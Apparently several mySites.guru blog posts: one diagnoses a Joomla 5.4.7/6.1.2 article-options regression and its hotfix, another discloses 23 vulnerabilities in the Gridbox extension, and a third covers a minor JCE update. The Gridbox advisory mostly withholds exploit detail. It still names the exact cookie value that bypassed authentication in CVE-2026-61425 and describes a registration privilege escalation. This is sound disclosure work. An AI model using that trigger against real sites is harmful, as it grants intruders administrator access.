What changed this weekend was demand. Site owners fall into two groups: the ones who update the week a release ships, and the ones who update someday. Someday turned out to be 8 and 9 August, a month after 5.4.7 and 6.1.2 came out, and our mailbox filled up with the same question from people who had just updated and watched their article layouts stop working. A fix existing and a fix being applied are different things, and the gap between them is exactly where the support tickets are.

The second reason is that the Joomla project communicates post-release problems poorly. The full write-up lives on a known-issues page in the manual, several levels deep on a site most administrators never visit. Credit where it is due, the release announcement now opens with a yellow warning card headed "Known issue with 5.4.7 and 6.1.2", carrying both the hotfix link and the manual link. Previous releases gave known issues a plain sentence link partway down the page, so the card is an improvement.

Almost nobody updates Joomla by reading joomla.org, though. They click Update in their own administrator. On that screen the entire pointer to the announcement is one link labelled "Additional Information", rendered from the infourl field in Joomla's update XML, sitting beside the button everyone came to press. Once the update finishes, the completion screen tells you "Your site has been updated. Your Joomla version is now 5.4.7." and stops there. No post-installation message ever mentions the known issue.

The timing makes it worse. The regression was reported on 8 July, one day after both versions shipped, so anyone who updated in that first day read an announcement page that did not yet carry the warning. Joomla has no mechanism to reach a site once it has already updated, and the known-issues page just sits there waiting to be found. The people most exposed are the ones who updated fastest and then had no reason to look again.

If you patched in July, this post is not aimed at you. Send it to whoever updated last weekend.

How Do I Find Every Affected Joomla Site?

You need a patch-level version list, and that is harder than it sounds. Joomla's own public statistics only report the minor branch, so they will tell you what share of sites run 5.4 or 6.1 but not how many are on the specific releases that carry the bug.

If your sites are connected to mySites.guru, the Sites list already holds the exact version of every install. Type the version straight into the filter box at the top of the list, which reads "Filter sites by name, url, tag or version number - exact match search", and the list narrows to the matching sites. Do it once for 5.4.7 and once for 6.1.2, and export each list if you want it as a CSV to work through.

That turns an afternoon of logging into every site into about thirty seconds. It is the same job managing multiple Joomla sites exists to make boring.

Here is what that query returns across the Joomla sites connected to mySites.guru today:

Joomla version	Share of connected Joomla sites
5.4.7	~18%
6.1.2	~13%
5.4.8 or 6.1.3	none, no such release exists

So about 31% of every connected Joomla install is on a version that carries this bug. Narrow it to sites already on a current branch, meaning 5.4.x or 6.1.x, and the affected share is nearly 88%. Keeping Joomla current is still the right call, and it is what put almost nine in ten of those sites on a broken release.

Filtering on the version number has one limitation. Applying the hotfix does not change the version a site reports, so a patched 5.4.7 site still shows as 5.4.7 and keeps appearing in that filter. Separating the patched from the broken means looking at the file itself, which is what the dedicated check described below does.

Why Won't Clearing Your Joomla Cache Fix It?

Because nothing is cached wrongly. The wrong values are resolved in PHP on every single request, while Joomla is building the article, long before any cache or CDN sees the finished HTML.

That single fact explains why this bug costs people an afternoon. Every instinct a competent Joomla administrator has is the wrong one here:

Clearing the Joomla cache changes nothing, because the page is rebuilt with the same wrong values.
Purging Cloudflare or switching on development mode changes nothing, for the same reason.
Rebuilding the menu or the database changes nothing, because no data is corrupt.
Reinstalling the template changes nothing, because the template was never consulted for the layout it was told to skip.

The fastest way to confirm it is to turn on debug and look at which layout actually loads. If the com_content global default renders instead of the one set on the article, this is your bug.

The Code Change That Broke Joomla's Article Options

The cause is PR #47752, "[5.4] Fix Author Display Issue Using Article Setting", merged on 27 May 2026 and shipped in both 5.4.7 and 6.1.2. It rewrote how components/com_content/src/Model/ArticleModel.php merges an article's own parameters over the menu and global ones.

The original logic merged the article's stored attribs wholesale, so anything set on the article won outright:

$data->params = clone $this->getState('params');
$data->params->merge($registry);

The replacement only reaches into the article's parameters where the menu item already holds the literal string use_article for that key:

$menuParamsArray = $this->getState('params')->toArray();

foreach ($menuParamsArray as $key => $value) {
    if ($value === 'use_article') {
        $articleArray[$key] = $registry->get($key);
    }
}

A Single Article menu item has no article_layout key at all, so the loop never fires for it and the article's value is never merged in. What survives is the com_content global configuration merged with the menu item parameters, and the view then reads that stale value:

if (isset($active->query['layout'])) {
    $this->setLayout($active->query['layout']);
} elseif ($layout = $item->params->get('article_layout')) {
    $this->setLayout($layout);
}

Execution reaches the second branch and sets the layout, using a value the article never got a chance to override. Nothing errors, nothing is logged, and the page renders happily with the wrong settings. Silent wrong output is always more expensive to diagnose than a crash.

Which of My Joomla Articles Are Actually Affected?

Only articles whose Options differ from what the menu item or global config already says. If an article's layout matches the com_content default, it renders correctly by accident. So a site can look 95% fine and still have three pages badly broken.

To list the published articles that set their own layout, swap #__ for your real table prefix:

SELECT id, title,
       JSON_UNQUOTE(
           JSON_EXTRACT(attribs, '$.article_layout')
       ) AS article_layout
FROM   #__content
WHERE  state = 1
  AND  JSON_VALID(attribs)
HAVING article_layout IS NOT NULL
   AND article_layout <> ''
ORDER BY title;

Layout is only the most visible casualty though. To catch every article carrying any non-inherited Option, match on the shape of the stored JSON instead. Joomla writes unset options as empty strings, so anything with a value has been set deliberately:

SELECT id, title, attribs
FROM   #__content
WHERE  state = 1
  AND  attribs REGEXP '"[a-zA-Z0-9_]+":"[^"]+"'
ORDER BY title;

Work down that list and check each one on the front end. It is usually much shorter than people expect.

How Do I Apply the Official Joomla Hotfix?

Joomla publishes a hotfix package that reverts the offending change on 5.4.7 and 6.1.2. It is a one-time file patcher: it checks your version, replaces ArticleModel.php, tells you what it changed, then deletes itself, so no extension is left installed afterwards.

The package is Joomla_5_4_7_and_6_1_2_ArticleModel_Hotfix1.zip, published at update.joomla.org/hotfix/. Check it against these before you install it:

SHA256
e1247bb5a01b2448307407f9f843b33edae52d324f7f95b21252e74e7c47328f

MD5
a1e708491efa376d5369a7db3bce5800

Install it through System, Install, Extensions like any other package. Verify the checksum first, and take a backup, because this replaces a core file:

shasum -a 256 Joomla_5_4_7_and_6_1_2_ArticleModel_Hotfix1.zip

Warning

The patcher runs on exactly 5.4.7 and 6.1.2 and aborts safely on any other version. That version lock is deliberate, so do not try to force it onto a different release. If you would rather not use the installer, the zip preserves the directory structure and you can copy the correct version's ArticleModel.php over components/com_content/src/Model/ yourself, then fix ownership and permissions and clear the cache.

There is nothing to undo later. When 5.4.8 or 6.1.3 arrives it overwrites the patched file with the proper fix.

Apply the Hotfix From mySites.guru Instead

mySites.guru now checks for this regression on every snapshot of a Joomla site, and applies Joomla's official hotfix for you. On the Manage Site page, open the Quick Snapshot tab and look under Joomla Configuration for Article Options Ignored (Joomla 5.4.7 & 6.1.2).

The check deliberately ignores the reported version number, because patching the file does not change it. Instead it reads components/com_content/src/Model/ArticleModel.php on your site and looks for a local variable named menuParamsArray. That variable exists in 5.4.7 and 6.1.2 and in no other release: not in 5.4.6 or 6.1.1 before them, not in the permanent fix scheduled for 5.4.8 and 6.1.3, and not in either file inside Joomla's own hotfix package. Its presence is therefore an exact answer, in both directions, to whether the site is running the broken code at this moment, which is more than a version number can tell you.

Click Investigate and you get the file, its MD5, and the published articles that are actually losing settings, with the specific Options each one sets:

The count matters more than the badge. As covered above, an article whose Options match the menu item or global default renders correctly by accident, so only published articles that actually set a per-article Option are counted. A 5.4.7 site that leaves everything on "Use Global" loses nothing, and we say so rather than raising an alarm about it. The badge reads "No Data" until the site has taken a snapshot with a connector new enough to run the check, because "no data" and "zero" are different answers.

Clicking Apply Official Hotfix writes nothing straight away. It asks first, and the dialog spells out the rule the patcher enforces:

There are two gates on that write. The file has to still be byte-for-byte what Joomla shipped, and the patched result is only kept if it is identical to the file inside Joomla's official hotfix package. So it either produces the official fix exactly or changes nothing at all. If somebody has already edited ArticleModel.php on that site, the patch is refused and you are told, rather than having work nobody can see quietly overwritten.

There is no backup step. The first gate means the file being replaced is always a specific, published Joomla release, so the rollback is downloading that same official file again.

When the write does happen, the file is read back off disk and its checksum verified a second time, so the panel only flips once the bytes on your own server have been checked:

"It's Just a Single File"

Which is the other thing being said in the comments, and it is completely right. One file, one hotfix, a couple of minutes.

So try the version of that question an agency actually has to answer: which of the 300 client sites you updated before anyone knew about this issue have that one core file modified, and which do not? By hand, that is 300 administrator logins, or SSH and a checksum on 300 servers.

The all-sites view for this check answers it on one page, in one place. It lists only your connected Joomla sites reporting 5.4.7 or 6.1.2, so the page is your affected set rather than a list you have to filter down, and every row carries the same badge as the snapshot panel: a red count of the published articles currently losing their Options, or a green OK. Investigate on any row applies Joomla's official hotfix to that site. Job done.

Every site gets the same two gates, so one whose ArticleModel.php somebody has already edited is refused rather than overwritten. A successful patch runs a fresh snapshot for that site straight away, so its badge reflects the file you just wrote instead of waiting for the next scheduled run.

Patched sites stay on the list, because patching does not change the version a site reports: the list works as a progress bar, turning green a row at a time until you are through the portfolio.

One caveat. A green OK here means per-article Options are working, which covers both a patched site and a site where no published article sets any Options to lose. When you want the file-level answer, the per-site panel above reports Broken or Hotfix applied from the bytes on disk.

The Joomla Menu Item Workaround, and Where It Falls Short

If you cannot patch core on a particular site, set the layout on the menu item rather than the article. Looking back at the view code above, $active->query['layout'] is checked first and wins outright, so it never reaches the broken merge.

For a custom layout to appear in the menu item's dropdown it needs an .xml manifest next to the .php file, because Joomla only offers layouts it can find a manifest for:

<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="Team Page">
		<message><![CDATA[Team page layout.]]></message>
	</layout>
</metadata>

Joomla scans templates/<template>/html/<component>/<view>/*.xml and builds the request variable as template:layout, so the menu link ends up as ...&id=342&layout=yourtemplate:team-page.

We built and verified this on a client site before the hotfix existed, then reverted it once the hotfix shipped. It works, but be clear about what it does not do. It only rescues the layout, not the other article Options, and it only helps the pages you remember to fix. It is a stopgap for a handful of important pages, not a fix for a site.

Three Joomla Fixes That Will Make Things Worse

Some of the obvious workarounds cause more damage than the bug.

Do not change the com_content global Alternative Layout. It looks like it fixes the broken page, and it changes every other article that relies on the default at the same time.

Do not add article_layout or use_article to a Single Article menu item's parameters by hand. That field only exists on category menu item types, so the administrator form drops it the next time anyone saves that menu item, and the page silently breaks again weeks later.

Do not roll back to 5.4.6 or 6.1.1 to escape it. Those releases are missing the ten security fixes that shipped in 5.4.6 and 6.1.1 and later. Trading a cosmetic rendering bug for known security holes is a bad deal in every direction. Patch the file instead.

Where This Leaves Joomla Site Owners

The fix itself was quick. Issue #48058 was raised on 8 July, one day after the release, and PR #48060 was merged on 10 July. It restores the original wholesale merge and it is sitting in the 5.4-dev, 6.1-dev and 6.2-dev branches right now.

It just has not been released. 5.4.8 and 6.1.3 are both open milestones with a target date of 18 August 2026, which means that for over a month the newest stable Joomla on both supported branches has shipped this bug, with no upgrade path away from it.

Which is a reminder worth taking seriously if you look after sites for other people: "keep everything on the latest version" is good policy and it is not a complete one. You still need to know what version each site is actually on, and you need to hear about a bad release before your client does. This is the same discipline that stops accidental version jumps and catches update channel failures before they become support tickets. It is not unique to Joomla either, as anyone who lived through the WordPress 6.9.2 release that crashed sites will recognise.

The bug is annoying. Not knowing which of your sites has it is the actual problem.

Another 23 Critical Security Vulnerabilities in Gridbox for Joomla

phil@mysites.guru (Phil Taylor) — Wed, 29 Jul 2026 13:08:00 GMT

Gridbox is a widely used drag-and-drop page builder for Joomla, built by Balbooa. On the sites we can see it running, it is usually the thing the whole front end depends on.

Last week we disclosed a critical authentication bypass in Gridbox, CVE-2026-61425, fixed in 2.20.1. Balbooa's response to that was to ask us to look harder: they invited a full security review of the component. We did it. The findings were worse than any of us expected.

Twenty-three distinct vulnerabilities in one Joomla extension, including a pre-authentication remote code execution reachable in a single HTTP request. It took Balbooa three attempts to close them all, and the complete fix is now out as Gridbox 2.20.2. It shipped into a live incident: several of these flaws are being exploited in the wild right now, which we have watched happen in server logs and on already-compromised sites, and which the Joomla Security Strike Team has confirmed. If you run Gridbox, update to 2.20.2 today and check the site for compromise.

The honest verdict

In twenty years of taking apart Joomla extensions, I have not seen one this badly secured. Not close.

A single component that hands an anonymous visitor code execution, administrator access, and the entire user table's password hashes, by more than one route each.

We are withholding every endpoint, parameter and proof-of-concept in this post. These issues are being exploited right now, and while the fix is public as Gridbox 2.20.2, plenty of sites are still unpatched. This is how we handle every vulnerability we find: fix first, publish second, and never hand attackers a recipe. What follows is the shape of the problem and what you need to do.

TL;DR

Balbooa asked us to audit Gridbox after our earlier disclosure. We audited 2.20.2 and found 22 vulnerabilities in the one component, and a 23rd surfaced days later as the attacks started
The headline is a pre-authentication remote code execution: one HTTP request, no account, no session, no token, and a working PHP file is written into a web-reachable folder
There are two more routes to code execution, more ways to become an administrator with no password, and several unauthenticated SQL injection points, one of which returns every user's password hash
Balbooa's first fix builds did not close everything. We re-tested each one, and several findings were still live, including an anonymous SQL injection they believed was closed. It took three builds to get it right, now shipped as Gridbox 2.20.2
Several issues are being actively exploited in the wild. We have seen the attempts in server logs and connected sites with planted administrator accounts, and the Joomla Security Strike Team confirmed at least three. One is a brand-new privilege escalation: any public registrant can create an administrator account
The Joomla CNA assigned eleven CVEs, grouped by root cause, and all eleven have now published. Seven are Critical, topping out at 10.0, and four carry the exploit maturity Attacked, which is the CVE record officially recording that these are being used against real sites
If you run Gridbox on any Joomla site, treat it as at risk now, update to Gridbox 2.20.2 immediately, and check for compromise
This is, plainly, the worst-secured Joomla extension we have ever audited

Balbooa asked us to look

It is only fair to tell this in order, because Balbooa did the right thing at the start.

After our Balbooa Forms disclosure earlier in July, they came back to us unprompted, said it had prompted them to review their other products, and invited us to test Gridbox. That first look turned up the authentication bypass fixed in 2.20.1. Rather than stop there, Balbooa asked us to carry out a comprehensive audit of the whole component. We agreed, and we ran it against Gridbox 2.20.2.

Inviting an outside party to break your code is a good instinct, and a rare one. We want to say that clearly, because everything after it is hard reading.

For context, these are the two Balbooa flaws we had already found and disclosed before this audit, both fixed:

Date fixed	Product	Vulnerability	CVE	Severity	Fixed in
9 Jul 2026	Balbooa Forms (`com_baforms`)	Unauthenticated file upload leading to remote code execution	CVE-2026-56291	Critical	2.4.1
20 Jul 2026	Gridbox (`com_gridbox`)	Unauthenticated authentication bypass to Super User	CVE-2026-61425	Critical, CVSS 4.0 10.0	2.20.1

The Balbooa Forms flaw came to us through a hosting abuse report on a live customer site and was being exploited before the fix shipped. The Gridbox authentication bypass was in the very build Balbooa sent us as hardened. This audit is the third chapter, and by some distance the worst of the three.

Before you count the 23, there was already a 10.0

Ten days earlier, Gridbox already had a critical of its own: CVE-2026-61425, an authentication bypass we scored at CVSS 4.0 10.0, the maximum there is. One cookie, gridbox_username=admin, and a visitor was logged in as the site's administrator with no password and no login. Balbooa shipped 2.20.1 on 20 July to close it. That release is the one that prompted the full audit, and the full audit is where the 23 came from.

So the tally for a single page builder, inside about three weeks, reads like this: a 10.0 authentication bypass fixed in 2.20.1, then twenty-three more fixed across three builds up to 2.20.2, and before either of them a critical unauthenticated file upload in the same vendor's Balbooa Forms (CVE-2026-56291, fixed in 2.4.1). Every one of those shipped as a "security release." Each fix was real. The uncomfortable part is how many of them there have had to be, and how often the first attempt did not finish the job.

That is the pattern to hold onto if you run Gridbox. The version you were on was almost always the fixed one, right up until the next release showed it was not. 2.20.2 is where the 23 are finally closed. Get onto it.

What a full audit of one extension turned up

We do not publish exploit detail before a fix is out, so this is deliberately the shape of the findings rather than the mechanics.

One request to code execution. The worst finding is an unauthenticated arbitrary file upload. No account, no session, no token, no chain. A single well-formed request writes a file the attacker controls into a folder the web server will run. That is a PHP shell on the server, and from there the site and usually the whole hosting account are gone. Balbooa already ship a safe upload helper elsewhere in the same codebase. This path never calls it.

And it is not the only route. There are two further ways to reach code execution, and more than one way to be treated as the site administrator without ever knowing a password. Several endpoints accept unauthenticated SQL injection, and one of them returns the contents of the query in the response, which means an anonymous visitor can read every username and password hash out of the database in a single request. There is unauthenticated file reading that escapes the web root, unauthenticated recursive directory deletion, and anonymous tampering with other people's content.

The pattern is the point. These are not one author's bad day. The same class of mistake, trusting a value from the request, recurs across unrelated files written by different people. That points at a missing security standard rather than a handful of isolated slips, which is why we told Balbooa this needs a coordinated security release and not another point patch.

Credit where it is due. One part of the component is well built: the payment callback verification. Most of the gateway integrations properly verify a signature against a merchant secret or re-check the transaction server-side, and order totals are recomputed rather than trusted from the request. Whoever wrote that knew exactly what they were doing. It makes the state of the rest harder to explain, not easier.

The "fixed" build was not fixed

Balbooa sent us a build they described as fixing everything we reported, and asked us to confirm it before they published it. We re-tested every finding against the actual code.

Most were closed, and the release is a real structural rewrite in places rather than a set of sticking plasters. But several findings were still live in the build they proposed to ship. The one that matters most: an anonymous SQL injection that returns password hashes, which they believed they had fixed. They had moved the guard onto one entry point and left the identical flaw reachable through its siblings. We proved it still worked, with no login and no token, and reported that back the same evening.

An authentication fix, or an injection fix, is exactly the kind of change that can be almost right. This is the entire reason a reporter asks to verify a patch before it ships. We asked, we verified, and it was not there yet.

To their credit, Balbooa turned a second build around within a day. It closes the anonymous injection we had just proved, the registration flaw that was being exploited, and the other actively-exploited routes with it. On the things that mattered most, they moved fast, and it shows.

That second build still was not the finished release. Two problems remained in it: a payment callback that could be forged on sites configured a common way, and a SQL injection a logged-in low-privilege user could still reach. We reported both back and asked for one coordinated release that closed everything rather than another partial build.

Balbooa delivered it. The complete fix is Gridbox 2.20.2, released 29 July. It closes the payment bypass and the last injection along with everything else we reported. Three builds is more than anyone wants a security fix to take, but every finding we reported is closed in 2.20.2, and that is the version to be on. Anything on 2.20.1 or earlier is still exposed.

Now it is being exploited

This stopped being a disclosure story and became an incident while Balbooa was still finalising the fix.

The Joomla Security Strike Team reported that at least three Gridbox issues are being actively exploited in the wild and urged Balbooa to publish a fix as soon as possible. Two of the three are flaws we had already reported, one of which was in the "fixed" build. The third is new, and it is nasty in its simplicity: the registration handler adds the default group to whatever groups the visitor asks for, instead of replacing them. So anyone can register a normal account and place themselves straight into an administrator group. No exploit skill required, just a crafted sign-up.

We are not taking anyone's word for this, our own included. We have the server access logs showing the exploitation requests arriving, and connected sites where the accounts are already planted. On one connected Joomla site our rogue admin check is holding 92 planted accounts right now, every one stamped by the same generator: the username xtw18387 plus four hex characters, with a matching xtw18387+<hex>@outlook.com address. They arrive in batches minutes apart. On this site the run started on 27 July, two days before the Strike Team's warning.

Look at the flag on each row: not currently a Super User. The escalation does not always take, and the accounts that fail sit in the default registration group looking like ordinary sign-ups. They are still the attacker's, and they are still a way back in. If you have ever waved past a run of odd registrations because none of them were administrators, this is what that looks like.

Find planted admin accounts across every Joomla site you manage

This is exactly what our Rogue Admin check is built for. It sweeps every connected Joomla site for accounts sitting in any administrator group, not just Super Users, so the sign-ups that quietly escalated show up next to the ones that failed and stayed in the registration group. You can review and delete them across all your sites from one screen.

Open the Rogue Admin check

Active exploitation changes the maths for everyone running Gridbox. The fix being out does not make you safe, applying it does. Assume attackers have already tried this on your site, update to 2.20.2, and check whether they got in before you did.

Why this is the worst we have seen

We audit Joomla extensions constantly, and we have written up a lot of serious flaws this year alone. Most extensions with a bad bug have one bad bug. What sets Gridbox apart is not any single finding, bad as the pre-auth RCE is. It is that nearly every category of critical web vulnerability is present in the same component at once, that more than one of them needs no authentication at all, that the vendor's own fix left several live, and that it is now being exploited before a complete fix is public.

In two decades of this work, that combination is unique in my experience. I do not say that for effect. I say it because if you run Gridbox, you should act as if your site is a target today.

What you should do right now

Treat every Gridbox site as at risk now

Several of these flaws are being actively exploited and need no login. There is no configuration or firewall rule that makes an unauthenticated code-execution request safe.

Update every Gridbox site to 2.20.2 now, and check any affected site for compromise.

Update Gridbox to 2.20.2 now. Joomla's Extensions updater will offer it, or download it from your Balbooa account. Balbooa's own notes are on their Gridbox security release page.
Take a backup first, as with any extension update on a production site. If you use mySites.guru, trigger a snapshot so you have a clean point to return to.
Check for compromise now, on any site that has been running Gridbox. Look for administrator accounts you did not create, and use our Rogue Admin check to find them in any group across every connected site at once. The pre-auth RCE writes a PHP shell into a web-reachable folder, which is exactly what our Suspect Content tool is built to surface: it matches a file's contents against more than 1,500 patterns taken from real hacks, not just known-bad hashes. Our guides to finding hacked files and backdoors and fixing a hacked Joomla site walk through the whole triage.
Rotate credentials and treat the Joomla secret as exposed on any busy site that has been reachable while running an affected version. Anyone who got in will have left themselves a way back, so do not assume a single clean file scan means they are gone, check every crontab, not just yours, and watch for reinfection.
Consider disabling Gridbox on any high-value site you cannot patch immediately, if the design can tolerate it, until the fixed release is installed.

How do I find every Gridbox site I manage?

The awkward question after any extension flaw is which of your sites actually run the thing. Past about ten sites, logging into each Joomla admin to read the extensions list stops being realistic, which is exactly how old versions survive.

mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. Search for Gridbox once and get back every connected site running it, the version each one is on, and whether an update is available. Across the Joomla sites we manage, several hundred run Gridbox, which is a lot of sites to reach one at a time while a flaw is being exploited.

View every Gridbox install across your sites

Open your Extension Inventory

Search for Gridbox across every connected Joomla site and find anything on an affected version. Not a subscriber? Sign up free and connect your sites.

We have added the affected range, every version below 2.20.2, to our vulnerability database, so every connected site still on a vulnerable version of Gridbox is flagged automatically, and the mass updater pushes the update to all of them from one screen.

Stay ahead of the next one

There will be another one. Joomla runs on thousands of third-party extensions, and the ones that accept anonymous input keep producing findings like this. The hard part was never the update. It is knowing a fix exists at all, then knowing which of your sites are affected and getting to them first, before someone else does.

Get free email alerts when a Joomla extension flaw breaks

We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.

Subscribe to security alerts

The 23 vulnerabilities in full

Here is the complete set, described by class and impact rather than by exploit detail. Thirteen of these were proved live against a test install; the rest were read in the source during the audit. "Access required" is what an attacker needs before they can use it, and "None (anonymous)" means no account and no login at all.

#	Vulnerability	Class	Access required
1	File upload written into a web-reachable folder, in one request	Remote code execution	None (anonymous)
2	SQL injection that returns every user's password hash in the response	SQL injection	None (anonymous)
3	Password reset of any account	Account takeover	None (anonymous)
4	Login as any user, including an administrator	Authentication bypass	None (anonymous)
5	File upload with no extension check	Remote code execution	Author
6	Arbitrary file write (the vendor's earlier fix was incomplete)	Remote code execution	Editor
7	Administrator password hash exposed through a client-readable cookie	Credential disclosure	Any XSS or log access
8	Recursive directory deletion	Destructive file operation	None (anonymous)
9	Arbitrary file read that escapes the web root	Information disclosure	None (anonymous)
10	A second unauthenticated SQL injection	SQL injection	None (anonymous)
11	Forging ownership of other users' comments and reviews	Data tampering	None (anonymous)
12	Full server filesystem enumeration	Information disclosure	None (anonymous)
13	Path and exception information disclosure	Information disclosure	None (anonymous)
14	Five further SQL injection points	SQL injection	None (anonymous)
15	Arbitrary font and file upload	Remote code execution	Editor
16	Arbitrary extension installation	Remote code execution	Backend user
17	Arbitrary file read and delete	Information disclosure / destructive	Backend user
18	Forgeable payment signature with no shared secret required	Payment bypass	None (anonymous)
19	Payment transaction not bound to the order	Payment bypass	None (anonymous)
20	TLS certificate verification disabled on gateway calls	Transport security	Network position
21	Stored cross-site scripting via a comment avatar	Cross-site scripting	None (anonymous)
22	No CSRF protection anywhere in the administrator area	Cross-site request forgery	Tricking a logged-in admin
23	Registration that puts the visitor in whatever group they ask for, including an administrator group	Privilege escalation	None (anonymous)

Number 23 is not from the audit. It surfaced alongside the active exploitation: the sign-up form hands out whatever group a visitor asks for, administrator included. That one, the arbitrary file read (9), and the arbitrary file write (6) are the three the Joomla Security Strike Team reports are being exploited right now.

The CVE assignments

The Joomla CNA has now assigned CVE IDs for this set. It has grouped them by shared root cause rather than issuing one per finding, on the reasoning that most of these are the same systemic gap repeating: no access control on the task, no CSRF token, no check on what the request is asking the component to do. So the CVE count is lower than the count of vulnerabilities, and one ID can cover several rows of the table above.

All eleven records have now published. Every one lists the affected range as 1.0.0 to 2.20.1, which is every Gridbox release there has ever been up to the fix, and four carry the exploit maturity Attacked with an urgency of Red, the CVE record's own way of saying this is being used against real sites rather than sitting as a theoretical risk. That is independent corroboration of what we were seeing in the logs.

CVE	What the record covers	CVSS	CWE
CVE-2026-65884	Registration accepts the user's own group IDs, so an anonymous visitor can sign up with administrator permissions. Number 23 above, the one being exploited in the wild	10.0 Critical (4.0), Attacked	CWE-284 Improper Access Control
CVE-2026-65887	The password reset method resets any account's password and lets the attacker log in as that user, Super Users excepted. Number 3 above	10.0 Critical (4.0), Attacked	CWE-284 Improper Access Control
CVE-2026-65888	The social login method logs the caller in as any user on the site. Number 4 above	10.0 Critical (4.0), Attacked	CWE-284 Improper Access Control
CVE-2026-65885	Authenticated arbitrary file upload. The record notes it becomes remote code execution when chained with CVE-2026-65884, because the account it needs is one the attacker can create for themselves	9.4 Critical (4.0), Attacked	CWE-434 Unrestricted Upload of File with Dangerous Type
CVE-2026-65886	The photo viewer reads arbitrary files with no authentication. Number 9 above	9.2 Critical (4.0)	CWE-22 Path Traversal
CVE-2026-65889	An unauthenticated method recursively deletes directories. Number 8 above	9.2 Critical (4.0)	CWE-22 Path Traversal
CVE-2026-65890	Multiple unauthenticated SQL injection vectors. Numbers 2, 10 and 14 above	9.2 Critical (4.0)	CWE-89 SQL Injection
CVE-2026-65947	Various CSRF vectors in the administrator interface. Number 22 above	7.3 High (3.1)	CWE-352 Cross-Site Request Forgery
CVE-2026-66490	Stored cross-site scripting via a comment avatar. Number 21 above	6.1 Medium (3.1)	CWE-79 Cross-site Scripting
CVE-2026-66488	Payment bypass. Numbers 18 and 19 above	5.3 Medium (3.1)	CWE-285 Improper Authorization
CVE-2026-66489	Various unauthenticated file system disclosure. Numbers 12 and 13 above	5.3 Medium (3.1)	CWE-200 Information Exposure

Two caveats on that table. The pointers back to the numbered list are our reading of each record's wording rather than the CNA's: the IDs were grouped by root cause and no official mapping was published, so one ID can cover several rows. And the seven Critical records are scored on CVSS 4.0 while the other four use CVSS 3.1, so that column is not directly comparable down its whole length.

No published record separately describes the unauthenticated file upload at number 1, the finding we scored 10.0 ourselves. CVE-2026-65885 covers file upload but says authenticated. Given the grouping, number 1 may sit inside 65885; the records do not say either way.

Since publication: two more Gridbox releases

Balbooa has shipped twice more since 2.20.2, and we were involved in neither.

2.20.2.2 (3 August 2026) turns Store customer registration off by default, after bots found the registration endpoint and created spam accounts on sites that were not using the Store at all. Balbooa's note states explicitly that it "does not address a security vulnerability".

2.20.2.3 (10 August 2026) is titled "Bug Fixes and Security Hardening" and lists four areas: authorization, request handling and access controls in the media manager; path validation for internal file and directory operations; password recovery flows and token validation; and unspecified additional safeguards in internal components. There is no CVE, no severity, no affected version range, and no statement of whether any of it can be reached without a login.

We did not find or report these and we have not audited 2.20.2.3, so we cannot tell you how serious they are. Three of the four areas cover the same ground as CVE-2026-65885, CVE-2026-66489 and CVE-2026-65887, all recorded as fixed back in 2.20.2. That may be ordinary hardening on code that had just been rewritten at speed, or it may mean the July fixes needed more work, as happened with PageBuilder CK. Balbooa has not said, so treat it as unknown rather than as a new disclosure.

Update to 2.20.2.3. Anything below 2.20.2 is still exposed to the actively exploited set above, and that remains the urgent one.

Disclosure and Severity

10.0 CVSS 4.0

Critical The Joomla CNA's score for CVE-2026-65884, and our own for the pre-auth RCE

The published CVE record for the registration privilege escalation is scored 10.0 with the exploit maturity set to Attacked. We independently scored the worst of the twenty-three, an unauthenticated arbitrary file upload, at the same 10.0: exploitable over the internet in a single request, with no account and no user interaction, yielding remote code execution. Several other findings need no login either, and the Joomla Security Strike Team reports at least three are being actively exploited.

No login needed Single request Remote code execution Actively exploited No firewall mitigation

Field	Detail
Extension	Gridbox for Joomla (`com_gridbox`)
Vendor	Balbooa (balbooa.com)
Findings	23: 22 from the audit, plus a 23rd privilege escalation surfaced by the active exploitation
Headline type	Unauthenticated file upload leading to remote code execution (CWE-434), alongside SQL injection (CWE-89) and authentication bypass (CWE-287)
CVSS	Joomla CNA scores range from 10.0 (Critical) down to 5.3 (Medium). Three records sit at 10.0: CVE-2026-65884, CVE-2026-65887 and CVE-2026-65888. The seven Critical records use CVSS 4.0, the other four CVSS 3.1. We separately scored the headline pre-auth RCE at 10.0
CVE	Eleven IDs assigned by the Joomla CNA and grouped by shared root cause, all now published: CVE-2026-65884 to CVE-2026-65890, CVE-2026-65947, and CVE-2026-66488 to CVE-2026-66490. The earlier authentication bypass is CVE-2026-61425
Impact	Unauthenticated remote code execution, administrator takeover, and disclosure of every user's password hash
Active exploitation	Observed by mySites.guru in server access logs and on compromised sites, reported by the Joomla Security Strike Team on 29 July 2026 (at least three issues), and recorded in four of the eleven CVE records as exploit maturity Attacked with an urgency of Red
Audited in	Gridbox 2.20.2
Affected versions	Every version below 2.20.2. The CVE records state the range as 1.0.0 to 2.20.1
Fixed in	Gridbox 2.20.2, see Balbooa's security release announcement. Balbooa has since shipped 2.20.2.2 and 2.20.2.3, which is the current version to be on
Finder	Phil Taylor, mySites.guru. The published CVE records credit Phil Taylor and Pascal Lohmann

JCE 2.9.99.10 Fixes Another Security Issue

phil@mysites.guru (Phil Taylor) — Wed, 29 Jul 2026 00:00:00 GMT

JCE (Joomla Content Editor) ships on more Joomla sites than any other editor extension, and it sits in the top two of our live extension ranking. On 29 July 2026 the developer released JCE 2.9.99.10 with one item in the changelog marked SECURITY.

That item is a small one. An authenticated user with a privileged editor profile could rename a file so that it became hidden in the folder they were browsing. It needs a login, a profile that grants file browser access, and the Rename permission on top of that. It is not remote code execution and it is not another June.

If you manage Joomla sites in bulk, mySites.guru already indexes every extension on every connected site, so finding everything below 2.9.99.10 and pushing the update across all of them is a two-step job rather than an afternoon of logging into administrator panels. The JCE Profiles Hack page remains the page of truth for the far more serious June attack, which is still the reason most Joomla sites need attention.

The short version

JCE 2.9.99.10 fixes an authenticated, privileged-user file rename flaw that could create a hidden file. No CVE assigned as of 29 July 2026. It is a routine update, not an emergency. The genuinely urgent JCE problem was fixed back in 2.9.99.5, and any site still below that release is the one to worry about.

TL;DR

JCE 2.9.99.10 released 29 July 2026, with one changelog item marked SECURITY
An authenticated, privileged user could rename a file so it became hidden in the folder being browsed
Rename also no longer silently replaces a file that already exists
No CVE assigned as of 29 July 2026
Materially less severe than CVE-2026-48907, the unauthenticated flaw fixed in 2.9.99.5 and later added to CISA's Known Exploited Vulnerabilities catalog
Comparing the two packages shows the release hardens considerably more than the changelog lists
